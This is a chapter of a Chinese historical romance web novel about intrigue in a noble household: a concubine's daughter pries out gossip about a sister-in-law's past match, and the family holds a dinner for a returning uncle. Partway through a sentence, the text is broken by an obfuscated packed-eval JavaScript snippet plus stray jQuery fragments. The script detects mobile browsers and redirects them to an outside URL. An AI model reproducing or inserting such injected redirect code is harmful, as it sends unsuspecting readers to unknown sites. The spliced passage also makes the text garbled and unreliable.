施施然走过来的是裴锦瑶。


    她跟裴玉琳同为庶出，在府里的处境实则迥然不同。


    当初裴固夫妻俩挑选儿媳妇时，因有意将爵位传给长房，便给裴元曙娶了门第不低的崔氏为妇。崔氏出自高门，待妾室通房之流还算宽和，裴玉琳和裴见熠姐弟俩都养在生母吴姨娘膝下，崔氏甚少插手。


    平素姐弟俩犯错时崔氏甚至还能帮着遮掩说情，虽稍有纵容之嫌，却也让身份相似的裴锦瑶姐弟很是羡慕。


    后来裴玉琳年纪渐长，崔氏操持完嫡长女的婚事之后暂且闲着，加之裴雪琼年岁尚幼，倒也愿意帮庶女寻摸婆家。


    得知淮王有意，便欣然答允。


    听说这回裴玉琳出阁，崔氏作为嫡母还添了不少的嫁妆，引得人人夸赞宽厚贤惠。


    相较之下，范氏可就不一样了。


    也不知是她本性如此，还是当年对潘姨娘芥蒂太深的缘故，范氏对裴元晦后来纳的柳姨娘也十分冷淡，时常蓄意打压。


    裴锦瑶幼时还暗中为生母鸣不平，懂事后经过柳姨娘苦口婆心的教导，明白了侧室和庶子女的处境，便渐渐收敛了性子，转而讨好范氏。


    但这点讨好收效甚微。


    裴锦瑶早就到了说亲的年纪，范氏嘴上答应裴元曙帮忙寻摸婆家，陆续挑的两三个人家却实在身份不高。裴锦瑶自负侯府出身，且打小锦衣玉食的养着，交游往来的也都是高门贵府，哪肯嫁进默默无名的人家？


    便只让柳姨娘委婉推拒了。


    这样一来二去的未免耽搁事儿，以至裴锦瑶如今年已十六，婚事上却仍没有半点头绪。


    眼瞧着二姐风光出嫁，她哪有不羡慕的？


    昨儿贵眷云集，她还能认真打扮后打起十分的精神去露面应酬，暗里期盼能为自家婚事寻个转机。今日来的身份欠缺了些，她只跟要紧的几位见了面儿，过后便在水榭歇着了。


    直到看见江云影路过此处。


    ……


    当初云娆以冲喜的名头嫁进侯府时，裴锦瑶心里就一直瞧不上，觉得这身世比她平素交往的好友差了太多。


    今日云娆的娘家人来贺喜，她难免暗中留意，也就记住了江云影的这张脸。


    此刻两厢见礼，裴锦瑶脸上挂着得体的笑，语气甚至有点热情，“常听说二嫂家中有位妹妹，很是出挑，今日一见果真传言不虚。我是这儿的四姑娘，不知二嫂可曾提起过？”


    江云影与她初会，见她笑得亲和，便笑道：“听堂姐提起过，满口都是夸赞呢。”


    裴锦瑶才不信她这鬼话，却仍亲热地拉住她的手。


    “二姑娘初次来侯府，不如我带着逛逛？”


    江云影求之不得，自是欣然答允。


    两人便让随行的丫鬟跟远些，过了曲桥往后头景致殊异处走。


    裴锦瑶一面同她说着府中的景色风物，一面同她拉扯家常，渐渐熟稔后便道：“二嫂嫁过来这几个月，我瞧她说话做事很是温柔谦和，真是个好相处的性子，二哥能娶到她当真是佳偶天成。”


    江云影还以为云娆冲喜而来，在侯府必定会受委屈，听裴锦瑶鬼扯着婆母疼爱、妯娌和睦等话，又听到这样夸赞，倒是十分意外。


    旋即，心里便升起一股难言的酸楚。


    江云影一直觉得，这婚事她其实是有过机会的。


    如果当初祖母开着玩笑询问时，她没有被新婚守寡的想象唬住，或许祖母真的能够说动范氏，将她娶进侯府去——反正是仓促间找个小门户冲喜，只要祖母和祖父愿意撮合促成，裴家娶谁不是娶呢？


    若她那时答应了，如今就是她站在风姿卓然、高官厚禄的裴砚身边，就是她住在这座金装玉裹的侯府，就是她……


    江云影但凡想到这些，就觉心里堵得慌。


    她只能勉强堆笑，附和了一句。


    裴锦瑶自小就在嫡母檐下学会了察言观色，又在贵女堆里厮混多年，哪能瞧不出她这点异样？


    堂姐妹间怎么回事，她清楚得很。


    话都已经说到这份儿上了，眼瞧着江云影心绪复杂，裴锦瑶趁机开玩笑道：“都说一家有女百家求，何况是二嫂这样好的人。她在闺中的时候，必定也是许多人想求娶，快要踏破门槛的吧？”


    江云影明知有些话不该透露，但此刻心里不知怎么想的，竟自含糊道：“家里原是想给她说亲的，最后嫁到这里，也算姻缘天注定。”


    “可是跟燕家么？”裴锦瑶追问。


    江云影诧然看向她，“四姑娘怎么知道这事？”


    裴锦瑶笑而不答。


    江家说亲的事情她当然无从窥探。只不过上回裴砚为维护云娆跟老侯爷差点吵起来，范氏灰头土脸的回屋后憋了满肚子气，怒气上涌的时候难免生出歪心，又让人去打听云娆的底细。


    那仆妇没打听出内宅的准话，但江伯宣跟燕熙交好、时常登门造访是江家上下都知道的，难免让范氏有所猜测。


    只不过那阵子府里忙，加上老五裴见祐的身体出了点小岔子，范氏焦头烂额的忙活了一阵，便将这些都抛之脑后了。


    裴锦瑶却心细，又时常出入惠荫堂，逮住一点味道便将事情打听了个七七八八。


    此刻又碰上江云影这个大漏勺，轻易试探出底细，心中竟自窃喜。


    还想追着套话，江云影却也知道这种事不宜宣扬，又有些后悔方才的轻率，再问就不肯多说了。


    裴锦瑶便又随便扯了几句，仍绕回那座水榭。


    待江云影告辞回席，裴锦瑶琢磨着方才套出的杂乱消息，竟自浮起笑意。


    “果真是他，有意思。”


    周遭没了旁人，她坐在水边慢慢喂鱼，口中如是喃喃。


    贴身丫鬟猜得其意，低声道：“上回在汲古阁，难道真是在私会？”


    这话声音虽低，裴锦瑶却仍比了个噤声的手势。


    ——上回去白云岭踏青，那一日不止明氏带着秦氏和云娆去了汲古阁，裴锦瑶其实也去了。只不过她原就不甚与明氏亲近，又是跟别家交好的姐妹同去，便没露面打招呼罢了。


    见燕熙在书楼前踟蹰、离开前又频频回头，裴锦瑶瞧见他丰神如玉姿容出挑，难免暗中留意，还曾猜测那复杂神情背后的缘故。


    后来见云娆出来，她立时想起了燕熙，虽是漫无凭据的揣测，却还是让小丫鬟去打听了燕熙的身份。


    如今再经江云影一泄露，前后可就都对得上了。


    裴锦瑶捻着鱼食，静坐出神。


    ……


    日色未倾时，来道贺的宾客陆续告辞离去。


    云娆前两日忙得脚不沾地，今儿婚宴已近尾声，她将母亲和堂妹送出府后就渐渐的闲了下来。寻个抱厦歇了一阵子后又去瞧了一圈，见没什么要她做的，便商量着各自回去歇息。


    正准备动身呢，外头忽有仆妇来禀——


    “三爷带着夫人回来了，刚去拜见老太爷。老太爷吩咐说晚上一道在如意堂用饭。”


    那边崔氏才从整日应酬中缓过劲儿来，正让小丫鬟捶腿呢，听见这话面露诧色，不甚确信地道：“你说是谁回来了？”


    “就是去西川的三爷。”


    那仆妇是在老侯爷书房里伺候的，跟崔氏颇为熟悉，因临走时听了几耳朵，这会儿便道：“奴婢听着，像是来给二姑娘道喜的。”


    “我是说，三夫人也回来了？”崔氏问这句话时，还特地看了范氏一眼。


    范氏平素与她暗里不睦，这会儿倒像是一条心，眼巴巴地望过去，等着回答。


    仆妇只好笑禀，“是呢，都回来了。”


    话音落处，崔氏和范氏似都隐隐叹了口气。


    云娆原本在下首吃茶，瞧着这情形，一时间倒有些好奇。


    她倒是听过三叔裴元绍的壮举，原是弱冠之年送去川蜀之地游历长见识的，回京时身边却平白多了个姓周的女人，非要娶她为妻。


    因那女子来历不甚明晰，且听说性子有些倔强、不够温顺，裴固夫妻俩便不许以正妻之礼迎娶，只许纳为妾室。老侯爷甚至还放了狠话，说裴元绍若敢娶她为妻，非把他从侯府赶出去不可，从此断了父子之情。


    裴元绍却强硬得很，见老两口死活不肯答应，自管携那女子去衙门办了文书，也没在侯府办酒宴席面，只领着新妇来给双亲磕头就算完事。


    这般悖逆，险些给裴固气晕过去。


    但他到底也没断了父子情，只是死倔着不肯认这儿媳。


    这事当时也曾在高门贵户中传为笑谈，都说裴元绍为色所迷无法无天，辜负了侯爷夫妇的教导养育之恩。


    裴元绍不愿妻子遭人指摘，扭头就带她去了西川。


    后来凭本事博得赏识，渐渐在西川节度使帐下有了一席之地，到如今早已生育了一双儿女，一家四口安然度日。


    这十余年来，裴元绍回京的次数屈指可数，不是为办公事就是为祭奠他早已亡故的生母，偶尔携妻子周氏在身侧，也来过侯府几回。只是始终没带孩子来过京城，哪怕裴固暗示也无动于衷。


    早年间老侯爷还较劲得很，如今上了年纪，态度倒渐而和软。


    这回安排一道用饭，也算稀奇事。


    他既发话，儿孙们自须听从。


    好在这两日婚宴待客，筹备的东西绰绰有余，仓促间整治一桌家宴也并不难。


    仆从们自去筹备晚间小宴，各房主子们则先回院歇息，约定戌时初在如意堂聚齐。


    云娆初入侯府，对旧事知之甚少，怕在家宴上不明就里做错事，便趁着歇息跟裴砚稍加打听。


    才过小暑，天气一日热似一日。


    云娆白日里穿了见客衣裳，虽说宴席间备有冰盆风轮，往来忙碌时到底热出了一层细汗。回屋后赶着去浴房洗了洗，这会儿只穿了件轻薄半袖，露着胳膊坐在窗边吹风。


    裴砚也脱了会客的外裳，嫌热扒开里衣领口，将轮廓分明的胸膛半露在外面，盘腿在罗汉床上剥荔枝吃，是难得的家居清闲模样。


    甜汁儿不慎滴落，洒在他锁骨下方。


    云娆没好意思多去看，只伸手将帕子递给他。


    “晚上的宴席自是为迎接三叔和三婶，可我还没见过他们呢。”她有点儿犯馋，也自取了荔枝来吃，“将军应见过的吧？”


    她白皙的胳膊撑在桌上，漂亮的双眸微抬，分明藏了好奇。


    裴砚比她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781267|155411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年长九岁，哪能猜不出那点小心思？


    一面拿她的绢帕擦着手，一面道：“我平时不在京城，只碰巧见过三婶一次，也是个直率有趣的人。三叔倒是照看过我一阵子，虽然外人说他悖逆，其实性情刚正，很有担当。”


    “这话倒是。若换了旁人，父母不允成婚，八成就服软纳为妾室了。他能那样做，想来是很爱护三婶。”


    云娆与他日渐熟悉，也敢发些感叹了。


    裴砚觑着她一笑，“你倒不像他们，拿不孝的帽子去压三叔。”


    云娆不自觉也笑了，“既然不知当年的内情，又怎好随意评判呢。不过将军既说三叔可靠，想来他确实是很好的！”


    啧，倒学会拐着弯拍马屁了。


    嘴还挺甜。


    裴砚心绪甚好，还想逗她两句，隔着半敞的窗扇却见赵铁匆匆走了进来。


    枕峦春馆虽在侯府的内宅，因地处偏僻，往东是惠荫堂、如意堂等院子，西南角其实有一处通往外头的小门，只是平时很少有人走。赵铁既绕着远路从那边跑过来，想必是有急事，还不方便让人转述的。


    近来流民之乱未平，又有贼人混进京城，裴砚前儿在宁王那里就听说了。估摸着是跟这事有关，便自起身道：“今儿晚饭我不去了，祖父若问，你就说是宁王召见，不必等我。”


    说着话，起身抓了外裳套在身上，就要抬步出屋。


    走了两步，又像想起什么，回头道：“吃饭时说错话也无妨，有我呢，不必顾虑。”


    嘴里叮嘱罢，这才疾步与赵铁走了。


    云娆原也不爱在侯府乱说话，但有他这么句话兜底，到底也踏实了不少，等时辰差不多了便换衣裳赶往如意堂。


    ……


    如意堂里这会儿正热闹。


    侯府往皇家嫁女的喜气尚未散去，家里连着摆了两日宴席，连带孩子们都比平常活泼了许多。


    裴见熠和裴见晔兄弟俩都不过十四五岁的年纪，给太夫人问安过后嫌屋里太闷，这会儿不知从哪里寻了个蹴球，在庭院里踢出百般花样。


    五岁的裴文昭跟在旁边，见缝插针地凑热闹。


    ——他是薛氏和裴见明的孩子，老太爷放在心坎儿上疼的嫡长重孙，在襁褓里时就被薛氏寄予厚望。


    迥异于庶子年少调皮、嫡母们睁只眼闭只眼纵容的养法，裴文昭虽然才五岁，却是早就由薛氏花重金请了先生教导，平素功课甚至比两位小叔叔还多些。


    小孩子天性爱玩，平素被管教得严苛，难得这两日不受拘束，玩得十分高兴。


    云娆甚少在如意堂感受到这样鲜活松快的气息，见状不由笑了笑。


    进屋后规矩行礼，坐在下首。


    人都到齐后闲坐了片刻，外面便传来老侯爷同旁人说话的声音。


    众人陆续起身，少顷，就见裴固徐徐走进来。


    他的身后是裴元曙和裴元晦兄弟俩，再往后的那人容貌跟裴固有三分相似，气度却迥然不同——前面三位这辈子都在京城养尊处优，偏于文臣的儒雅，那位却形貌精干气度昂扬，双目炯炯有神，气势反倒胜于父兄。


    这自然是三叔裴元绍了。


    紧随而入的是他执意迎娶的周氏。


    云娆早先听闻旧事，得知三婶性情“很不温顺”，想着她那般大胆的行径在闺阁之中甚是少见，便以为三婶或许也是习武之人，甚至行事有些刚烈彪悍。


    谁知落入眼中的竟是一位美貌温柔的女子。


    论年纪她其实已三十五了，看相貌却像是未及三十，长得白皙而秀美，五官尤其精致，一双美眸顾盼生辉，唇边还噙着浅笑。


    满屋绮罗金玉，她身上却淡妆素裹，高髻只缀以简单的珠钗，底下碧罗衣裳绣裙如雪，端的是位天生丽质的美妇。


    诞育一双儿女后还瞧着这般年轻，足见这些年过得颇为顺心，更不知当初嫁给三叔时究竟是何等姿貌。


    云娆心里暗生感叹。


    那边老侯爷进屋后扫视了一圈，没见着裴砚，视线便落在云娆脸上，问道：“老二怎么没来？”


    “他被急着叫走了，想是宁王殿下有事吩咐。不能来迎三叔三婶，很是过意不去。”云娆说着，朝裴元绍夫妇投去歉然眼神。


    裴元绍倒是爽快，“他这回北上大捷，将屠长恭那种劲敌都活捉了，着实给我大梁提振士气。既是肩上有事，回头我找他喝酒就是，倒也不拘在哪里相见。”


    那语气神态，倒是在叔侄之情外添了几分同为武将的惺惺相惜。


    云娆含笑答应着，那边太夫人已起身道：“厅里都备下了，咱们这就过去么？”


    裴固颔首，率阖家前往厅中用饭。


    一道纱屏意思着隔在中间，仍是往常那样的男女分席。外头都是父子兄弟，在老侯爷态度缓和之后倒也能相谈甚欢。


    里头太夫人居于上首，三位儿媳陪坐在两侧，往下则是孙媳和两位待嫁的姑娘。


    云娆伺候婆母之余间或用些饭菜，留意着上首几人的言谈，发现她这位三嫂确实有些意思——非但性子直爽，还长了张不饶人的嘴，对晚辈温柔和气，却专捡着两位嫂子怼，甚至对太夫人这位婆母都说不上多恭顺。